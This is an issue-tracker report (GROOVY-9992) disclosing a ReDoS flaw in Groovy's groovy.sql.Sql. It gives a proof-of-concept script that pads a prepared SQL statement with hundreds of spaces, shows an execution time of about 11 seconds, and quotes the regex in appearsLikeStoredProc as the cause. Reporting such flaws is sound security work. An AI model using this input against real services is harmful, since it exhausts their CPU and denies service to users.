Uploaded image for project: 'Groovy'
  1. Groovy
  2. GROOVY-9992

Redos in groovy.sql.Sql

    XMLWordPrintableJSON

Details

    • Bug
    • Status: Open
    • Major
    • Resolution: Unresolved
    • None
    • None
    • SQL processing

    Description

      When executing a prepare sql statement, adding too many spaces in front of sql will cause redos.The following is an example.

      import groovy.sql.Sql
      
      class SqlTest {
          static void main(String[] args) {
              def url = 'jdbc:mysql://127.0.0.1:3306/test'
              def user = 'user'
              def password = '123456'
              def driver = 'com.mysql.cj.jdbc.Driver'
              def conn = Sql.newInstance(url, user, password, driver)
      
              def sql = ""
              for (int i = 0; i < 400; i++) {
                  sql += " "
              }
              sql += "select * from users where id=?"
      
              def startTime = System.currentTimeMillis()
              conn.execute(sql, 1)
              println("exec sql: " + (System.currentTimeMillis() - startTime))
              conn.close()
          }
      }

      The groovy and mysql-connector versions used are as follows

      <dependency>
          <groupId>org.codehaus.groovy</groupId>
          <artifactId>groovy-all</artifactId>
          <version>3.0.7</version>
      </dependency>
      <dependency>
          <groupId>org.codehaus.groovy</groupId>
          <artifactId>groovy-sql</artifactId>
          <version>3.0.7</version>
      </dependency>
      <dependency>
          <groupId>mysql</groupId>
          <artifactId>mysql-connector-java</artifactId>
          <version>8.0.23</version>
      </dependency>
      

      The output after executing this is as follows

      exec sql: 11731
      

      This shows that the conn.execute() operation took about 11 seconds to complete, and the cpu utilization has been high during this period. Modifying 400 in the for loop to 1000 will take longer and eventually lead to exhaustion of computer resources.

       

      The reason for this vuln is that groovy.sql.Sql$CreatePreparedStatementCommand.appearsLikeStoredProc uses improper regular expressions for matching.

      private boolean appearsLikeStoredProc(String sql) {
          return sql.matches("\\s*[{]?\\s*[?]?\\s*[=]?\\s*[cC][aA][lL][lL].*");
      }
      

      Attachments

        Activity

          People

            Unassigned Unassigned
            kingkk kingkk
            Votes:
            0 Vote for this issue
            Watchers:
            1 Start watching this issue

            Dates

              Created:
              Updated: